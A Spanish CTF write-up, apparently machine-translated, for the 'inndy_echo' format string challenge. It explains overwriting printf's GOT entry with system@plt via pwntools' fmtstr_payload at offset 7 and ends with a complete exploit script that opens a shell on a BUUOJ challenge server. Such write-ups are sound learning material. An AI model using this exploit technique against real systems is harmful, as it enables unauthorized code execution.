inndy_echo
paso
-
Inspección de rutina, programa de 32 bits, la protección nx está activada
-
Pruebe una ejecución de prueba local para ver la situación general. He visto que hay vulnerabilidades de cadenas de formato y cuáles se pueden ingresar todo el tiempo.
-
Se cargó ida de 32 bits y
vi que había una vulnerabilidad de cadena de formato en el programa, y había una función del sistema. Pensé en cambiar printf @ got a system @ plt. Dado que el sistema no se ejecutó al principio, la dirección en la tabla obtenida era incorrecta. Tienes que usar la tabla plt en el interior. Luego pase a bin / sh -
pwntools integra una poderosa herramienta a través de la cual podemos modificar rápidamente el valor correspondiente.
Formato de comando:fmtstr_payload(argue_place, {printf_got_addr: system_plt_addr})
Argue_place representa la posición del parámetro de los primeros cuatro caracteres en la carga útil (es decir, el valor de p en% p $ n, lo llamamos Offset ) -
Después de aclarar la idea, primero determine el desplazamiento, determine que el desplazamiento es 7, de
modo que pueda usar directamente fmtstr_payload (7, {print_got: system_plt}) para completar la modificación, y luego pasar el parámetro '/ bin / sh'
Exp completa
from pwn import *
r=remote('node3.buuoj.cn',27843)
elf=ELF('./echo')
printf_got=elf.got['printf']
system_plt=elf.plt['system']
payload=fmtstr_payload(7,{
printf_got:system_plt})
r.sendline(payload)
r.sendline('/bin/sh')
r.interactive()